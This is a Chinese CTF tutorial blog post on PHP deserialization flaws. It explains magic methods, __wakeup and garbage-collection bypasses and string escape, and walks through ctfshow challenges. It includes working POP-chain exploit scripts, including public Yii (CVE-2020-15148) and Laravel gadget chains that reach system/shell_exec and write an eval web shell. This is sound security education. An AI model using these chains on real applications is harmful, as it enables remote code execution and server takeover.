以题为例浅谈反序列化漏洞

news2024/11/16 7:24:50

什么是反序列化漏洞

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

什么是序列化和反序列化

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象。反序列化与此相反;

简单来说就是序列化就是把对象转为字节序列的过程称为对象的序列化,反序列化就是将字节序列恢复为对象的过程称为对象的反序列化;

反序列化的标志函数

serialize,unserialize;

反序列的魔法函数

__construct()   当一个对象创建时被调用,
__destruct()   当一个对象销毁时被调用,
__toString()   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发
__serialize   serialize()方法检查类是否具有魔术方法__serialize()。如果有,则该功能在任何序列化之前执行,它必须构造并返回代表对象序列化形式的键值对的关联数组。如果未返回任何数组,则引发TypeError
__unserialize    __serialize()的预期用途是定义对象易于序列化的任意表示形式。数组的元素可以对应于对象的属性,但这不是必须的;
__set_state()  调用var_export()方法导出类时,此静态方法会被调用
__clone  当对象复制完成时调用
__autoload  尝试加载未定义的类
__debugInfo   打印所需调试信息

__construct()

这个函数不用多说它一定会被调用的,所以想直接绕过它不可能;

__destruct()

它大部分时间也是一定会被调用的,但遇到垃圾回收机制就不会被调用了,至于垃圾回收机制后面会详细介绍这个点

__toString

当对象被当做字符串被调用时,把类当作字符串使用时触发,返回值需要为字符串;

这是目前总结的__toString触发的条件

当类被当成字符串时会触发
return返回一个字符串,如果在方法中必须要加一个属性,否则需要在用一个函数进行调用,这也需要一个类去触发
toString()的触发条件:把对象当做字符串就会触发这个函数
1.对对象进行echo和print操作就会触发这个函数
2.声明的变量赋值为对象后与字符串类型比较的时候就能触发__toString;
3.声明的变量赋值为对象进行正则匹配的时候就能触发__tostring
4.声明的变量被赋值为对象后进行strolower的时候就能触发__tostring

什么叫做对象,以及类,方法等,在下面这个代码会详细进行介绍

<?php
// 定义一个类
class Car {
    // 属性
    public $brand;
    public $model;
    public $year;

    // 方法
    public function __construct($brand, $model, $year) {
        $this->brand = $brand;
        $this->model = $model;
        $this->year = $year;
    }

    public function getDetails() {
        return "This is a {$this->year} {$this->brand} {$this->model}.";
    }
}

// 创建对象
$car1 = new Car("Toyota", "Corolla", 2020);
$car2 = new Car("Honda", "Civic", 2019);

// 使用对象的方法
echo $car1->getDetails(); // 输出:This is a 2020 Toyota Corolla.
echo $car2->getDetails(); // 输出:This is a 2019 Honda Civic.
?>

__wakeup

使用unserialize时触发,它大部分时间都会被触发,大部分在题目都是要绕过它,在这里主要介绍如何进行绕过,主要的绕过方法对象的属性数量大于真实值;

如正常的反序列之后的值为#O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果遇到__wakeup需要把xctf后面的1改为2进行绕过,这个绕过需要一个条件就是在cve-2016-7124的情况下,适应这个php版本都有点老了,所以现在在实战中非常难遇到;

第二种方法: php引用赋值&,就是类似于c语言中的指针让两个变量指向同一个地址,一个变量的值改变,另一个变量的值会相应的改变,这种绕过在后面会有例题进行详细介绍;

第三种方法就是:fast-destruct这个技巧使destruct提前发生以绕过wakeup(),这个技巧在后面也会根据题目示例进行介绍

第四种方法就是:php issue 进行绕过,在之后会用题的实列进行讲解

第五种方法就是以O开头改成以C开头,但这种只有在php7.3.4版本才能适用,换别的版本就不行了;

以上这五种版本参考博客:PHP反序列化中wakeup()绕过总结 – fushulingのblog

之后我会尽量举例去理解这五种绕过方法

__sleep()

__sleep()魔法函数是在序列化的时候去操作,serialize()函数会检查类中是否存在一个魔法函数__seep,如果有这个函数会先执行这个函数,这个方法会优先被调用,然后才会执行序列化的操作,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

注意

__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。

作用

__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

参考博客:https://www.cnblogs.com/tzf1/p/15030202.html#9

__call()

在对像调用一个不可访问的变量时会触发,也就是在对象调用不存在的方法时会触发;

例如下面一段代码

<?php
class Person
{                             
    function say()
    {  
                              
           echo "Hello, world!<br>"; 
    }      
        
    //声明一个__call函数
    function __call($funName, $arguments)
    { 
          echo "你所调用的函数:" . $funName . "(参数:" ;  // 输出调用不存在的方法名
          print_r($arguments); // 输出调用不存在的方法时的参数列表
          echo ")不存在!<br>\n"; // 结束换行                      
    }                                          
}
$Person = new Person();            
$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
$Person->eat("小明", "苹果");             
$Person->say();                        

__callStatic()

在调用一个不可访问的方法时会被调用

代码

<?php
class Person
{
    function say()
    {

        echo "Hello, world!<br>";
    }

   //声明__callStatic函数
    public static function __callStatic($funName, $arguments)
    {
        echo "你所调用的静态方法:" . $funName . "(参数:" ;  // 输出调用不存在的方法名
        print_r($arguments); // 输出调用不存在的方法时的参数列表
        echo ")不存在!<br>\n"; // 结束换行
    }
}
//$Person = new Person();
Person::run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
Person::eat("小明", "苹果");

//静态方法不需要实例化也可调用,所以不需要创建一个新的类Person()

__get()

__get的触发条件如下:

  1. 当使用对象的未定义属性时,即访问一个对象中不存在的属性时,PHP会自动调用 __get() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部访问这些属性,也会触发 __get() 方法。

  3. 如果属性是公共的,但在类内部的上下文中访问未定义的属性,同样会调用 __get() 方法

例如如下代码

class Example {
    private $data = array();

    // __get() 方法会在访问未定义的属性时被调用
    public function __get($name) {
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } else {
            return "Property '{$name}' does not exist!";
        }
    }
}

$example = new Example();

// 访问未定义的属性
echo $example->undefinedProperty; // 会调用 __get() 方法

__set()

它的触发条件总的来说就是当给私有被包含的,不存在的属性赋值时会被触发

以下是详细的触发条件

  1. 当试图为对象的未定义属性赋值时,即给一个对象中不存在的属性赋值时,PHP会自动调用 __set() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部为这些属性赋值,也会触发 __set() 方法。

  3. 如果属性是公共的,但在类内部的上下文中为未定义的属性赋值,同样会调用 __set() 方法。

以下是代码展示

class Example {
    private $data = array();

    // __set() 方法会在为未定义的属性赋值时被调用
    public function __set($name, $value) {
        $this->data[$name] = $value;
    }

    public function getData() {
        return $this->data;
    }
}

$example = new Example();

// 尝试为未定义的属性赋值
$example->undefinedProperty = "Some value"; // 会调用 __set() 方法

// 获取属性值
$data = $example->getData();
print_r($data); // 输出:Array ( [undefinedProperty] => Some value )

__isset()

综述触发条件:当isset()函数去检查对象中不存在或者在对象的外面用isset去检查私有的或者受保护的属性时会被触发,以下是详细的触发条件:

  1. 当使用 isset() 函数检查对象的未定义属性是否设置时,即检查一个对象中不存在的属性时,PHP会自动调用 __isset() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部检查这些属性是否设置,也会触发 __isset() 方法。

  3. 如果属性是公共的,但在类内部的上下文中检查未定义的属性是否设置,同样会调用 __isset() 方法。

代码展示:

class Example {
    private $data = array();

    // __isset() 方法会在检查未定义属性是否设置时被调用
    public function __isset($name) {
        return isset($this->data[$name]);
    }
}

$example = new Example();

// 使用 isset() 函数检查未定义属性是否设置
echo isset($example->undefinedProperty); // 会调用 __isset() 方法,返回 false

__unserialize 

该魔法函数在反序列化的时候会触发,并且该函数触发的时候,__wakeup函数就不会在触发;

GC垃圾回收机制

原理:在php当中如果对象销毁就会触发__destruct()方法,同时如果程序报错或者异常就不会触发该魔术方法;

也就是说我们想要触发__destruct()方法但被垃圾回收机制阻挡从而不能调用魔法方法__destruct()

那么我们就需要绕过__destruct()这个方法;

那么给一个例子来说明为什么要绕过垃圾回收机制

代码如下:

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class aa{ 
    public $num; 
    public function __destruct(){ 
        echo $this->num."hello __destruct"; 
        } 
    }
class bb{ 
    public $string; 
    public function __toString() { 
        echo "hello __toString"; 
        $this->string->flag(); 
        } 
    }
class cc{ 
    public $cmd; 
    public function flag(){ 
        echo "hello __flag()"; 
        eval($this->cmd); 
    } 
}
$a=unserialize($_GET['code']); 
throw new Exception("Garbage collection"); 
?>

我们通过分析这段代码去构造一下链子,这道题的链子并不是太难

__destruct()->__toString()->__flag()

非常简单,但就是这么简单的一道题却出现了难点就是throw new Exception("Garbage collection");  这句话成功的使__destruct()函数不能触发

下面直接说明垃圾回收机制应该怎么去绕

有两种方法可以去绕过垃圾回收机制;

第一种方法就是用unset()函数赶在垃圾回收机制前结束从而触发__destruct();

第二种方法将第二个索引置为0,从而绕过垃圾回收机制;

如:

序列化之后改之前的

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}

改之后的

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

接着我们竟然知道了如何进行绕过,那就继续解决上面那一道例题吧;

先写链子进行触发

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ 
    public $num;
} 
class cg1{ 
    public $string; 
}
class cg2{ 
    public $cmd; 
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

运行代码得到

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

将第二个索引1改为0得到代码

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

尝试一下可以绕过,如果想了解这个漏洞的原理:

呈上大佬的博客:浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区

https://www.cnblogs.com/uf9n1x/p/17187821.htmlt

字符串逃逸

字符串逃逸的原理其实我看了好几篇博客都没看懂,这里呈上大佬关于反序列化字符串逃逸的解释

PHP反序列化 — 字符逃逸 - 先知社区

这其实上网搜索有很多,但看了很多其实我并不理解字符串逃逸的底层到底是什么,可能境界有点低了,不过通过做题我可以发现怎么利用,在这里我只介绍如何利用,而不去解释原理;

字符串逃逸分为两种类型:字符变多,字符变少;

就以题为例子进行介绍吧;

字符串变少

ctfshow 月饼杯 此夜圆

打开需要下载附件,下载之后源码如下

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

当看到str_replace()这个函数的时候就需要敏感了,只要看到字符串相关的代替,就要敏感这是字符串逃逸了;这就是用Firebasky这个字符串去代替Firebaskyup这个字符串的,知道了这个知识点之后我们就去审计代码看看他的目的是什么,我们可以明显找到输出flag的条件是什么

if($this->password==='yu22x')
{
include('flag.php');
echo $flag;	
}

就是要求password和yu22x相等就可以得到flag了;

";s:8:"password";s:5:"yu22x";}

我们就要添加这串字符串,其它题可以照着这个模板往里面进行替换;

我们看一下这有几个字符,用脚本跑一下得到是30个字符,而Firebasky比Firebaskyup少两个字符所以需要用15个Firebasky字符去逃逸

payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

反序列化&的运用

&类似于c语言中的指针,在反序列化中如果可以巧妙的运用可以绕过许多函数,但常用的还是绕过__wakeup()这个魔法函数,上文有提到过;

还是通过题可以更好的理解

2023金盾信安

先看源码

<?php
error_reporting(0);

class mouse
{
    public $rice;
    function __isset($n){
        $this->rice->nothing();
    }

}

class dog
{
    public $a;
    public $b;
    public $c;
    function __wakeup(){
        $this->a = 'chance?';
    }
    function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
}

class ct
{
    public $fish;

    function __toString()
    {
        if(isset($this->fish->d))
        {
            echo 'you wrong';
        }
    }

}

class get
{
    public $cmd;

    function __call($name,$no)
    {
        eval($this->cmd);  //result
    }
}

$pop = $_GET['pop'];

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
    echo "you will get flag".'</br>';
    unserialize($pop);
}
else{
    die("Try again!");
}

 先找到危险函数,这里的危险函数是eval(),要想使用eval函数那么就要触发__call()这个魔法函数,触发__call()函数需要触发一个不存在的的方法时会触发,那就需要触发__isset()魔法函数,而__isset()这个函数需要不存在的变量才能触发,那么需要触发__toString()这个魔法函数,它需要用

die输出变量代表的字符串去触发,触发之后那就需要触发__destruct()这个魔法函数,而这个魔法函数只要没有垃圾回收机制,它自己就会触发,所以链子就构成了;

那么最后的链子就是回到过来,那么链子如下

dog->ct->mouse->get;这就是链子

链子构成了,这就是一道简单的构造pop链的反序列化,这道题的难点是如何绕过__wakeup()这个魔法函数,为什么需要绕过这个魔法函数__wakeup()呢?因为只要反序列化就一定会触发__wakeup()这个魔法函数的,但如果进入这个__wakeup()这个魔法函数,那么变量a就会被赋予字符串值那它就是一个常量了,那么它就不会触发__toString()这个魔法函数了,所以这里要绕过这个魔法函数,但这里通过增大对象的值不能绕过这个魔法函数,所以需要去找其它的方法,所以这里可以运用&去进行绕过,怎么去绕呢?

怎么绕过只需要看这段代码就行了

class dog
{
    public $a;
    public $b;
    public $c;
    function __wakeup(){
        $this->a = 'chance?';
    }
    function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
}

首先看__destruct()这个魔法函数中的两段代码也就是说c的值会等于b

先看看本题如何去利用eval()这个函数,先看看如何进入

脚本如下

<?php

class get
{
    public $cmd;

}
class mouse
{
    public $rice;
}

class dog
{
    public $a;
    public $b;
    public $c;
    function __construct(){
        $this->b=&$this->a;
    }
}

class ct
{
    public $fish;
}
$f=new dog();
$f->c=new ct();
$f->c->fish=new mouse();
$f->c->fish->rice=new get();
echo serialize($f);

在本地测试中这段代码成功触发了所有的魔法函数,成功进入了eval()命令执行当中;

接下来就是绕过那个正则了,如何绕过这就需要平时的命令执行了

最终脚本

<?php
 
 class get
 {
   public $cmd="print(`uniq /realflag/you_want_flag.php`);";
 
 }
 class mouse
 {
   public $rice;
 }
 
 class dog
 {
   public $a;
   public $b;
   public $c;
   function __construct(){
     $this->b=&$this->a;
   }
 }
 
 class ct
 {
   public $fish;
 }
 
 $backdoor=new get();
 $mouse=new mouse();
 $dog=new dog();
 $ct=new ct();
 $dog->c=$ct;
 $ct->fish=$mouse;
 $mouse->rice=$backdoor;
 print_r(urlencode(serialize($dog)));
 //O%3A3%3A%22dog%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A2%3Bs%3A1%3A%22c%22%3BO%3A2%3A%22ct%22%3A1%3A%7Bs%3A4%3A%22fish%22%3BO%3A5%3A%22mouse%22%3A1%3A%7Bs%3A4%3A%22rice%22%3BO%3A3%3A%22get%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A42%3A%22print%28%60uniq+%2Frealflag%2Fyou_want_flag.php%60%29%3B%22%3B%7D%7D%7D%7D

这个命令执行积累一下,接下来会出一篇文章去专门写一下命令执行的相关的知识;

这就是&地址转换的巧妙使用,这种方式通常在绕过__wakeup()这个魔法函数去使用,有些题也可以使用这个方法巧妙的使用;

Yii反序列化漏洞

这个漏洞如果你想要了解底层逻辑,那么可以直接搜索相关漏洞复现,并且复现一下,我在这里就用题进行简单的介绍;

ctfshow web267

这道题打开页面如下图所示

然后点击login,用admin/admin弱密码进行登录,登录之后查看about,然后查看源码,找到一个参数

然后利用这个参数

格式如下

http://59c91bed-fe09-4818-8233-e0f741d86e76.challenge.ctf.show/index.php?r=site%2Fabout&view-source

看到需要传的参数

同时在源码中也看到了这串网址

点击那个yii.js那个网址,可以看到yii的版本

然后上网上找到这个漏洞的相关脚本,这个漏洞为CVE-2020-15148

脚本如下

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'shell_exec';      //php函数
            $this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > shell.php";     //php函数的参数  
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

运行可以得到

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

payload

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

然后直接访问shell.php,可以看到phpinfo()页面,然后进行命令执行

url/shell.php?1=system('ls /');

url/shell.php?1=system('cat /flag');

就可以得到flag了;

参考博客:CTFshow——web入门——反序列化web254-web278 详细Writeup_ctfshow web254-CSDN博客

Laravel5.8 反序列化漏洞

在这里先上一个脚本吧,之后会专门出一篇文章对这个漏洞进行复现

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
 
        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('ls /');");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

Laravel5.7(CVE-2019-9081)反序列化漏洞

同样也是先上个脚本之后会专门出文章对这个漏洞进行复现

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令

    echo urlencode(serialize($pendingcommand));
}

题例

多说无益,以题见真章

ctfshow web入门

关于ctfshow相关题目就是有些题目我已经解释过了,所以有些题目我只是去写相关的知识点,不在去解释,相关的解释我放在这篇博客了:ctfshow web入门 反序列化-CSDN博客

web254

源码如下:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这个就是简单的代码审计,直接上payload

http://95d10ced-6ff7-47a7-811b-9e73df797b99.challenge.ctf.show/?username=xxxxxx&password=xxxxxx

web255

源码如下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




简单的反序列化,只需要改变isVip的值为true就行了,payload

<?php

class ctfShowUser{
    public $isVip = true;
};

echo serialize(new ctfShowUser());

?>

然后url编码一下在cookie输入,注意参数的值为user

web256

源码如下:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




先审计代码,通过审计代码可以得到让isVip的值为true,并且username和password的值并不相等就可以,脚本如下

<?php

class ctfShowUser{
    public $username = 'aaa';
    public $password = 'bbb';
    public $isVip = true;
};

echo serialize(new ctfShowUser());

?>

注意username和password的值可以是任意的,但是一定不要相等,同时get传参的时候要传相应的值

web257

源码如下


 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}




脚本

<?php
class ctfShowUser{
    public $class = 'backDoor';
	public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

payload

cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

web258

源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

就比上一道题多了一个正则表达式

/`[oc]:\d+:/i意思就是不能出现O:数字,我们用0:+数字即可绕过。`
[oc]: 就是正则匹配的意思
\d:  匹配一个数字字符。等价于 [0-9]。
 +:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写
原本是O:数字,可以用0:+数字绕过

和上一道题的payload相同就是在O:+数字

payload

get: username=xxxxxx&password=xxxxxx
cookie: user=%4F%3A%2B%31%31%3A%22%63%74%66%53%68%6F%77%55%73%65%72%22%3A%31%3A%7B%73%3A%35%3A%22%63%6C%61%73%73%22%3B%4F%3A%2B%38%3A%22%62%61%63%6B%44%6F%6F%72%22%3A%31%3A%7B%73%3A%34%3A%22%63%6F%64%65%22%3B%73%3A%32%33%3A%22%73%79%73%74%65%6D%28%22%74%61%63%20%66%6C%61%67%2E%70%68%70%22%29%3B%22%3B%7D%7D

web259

源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

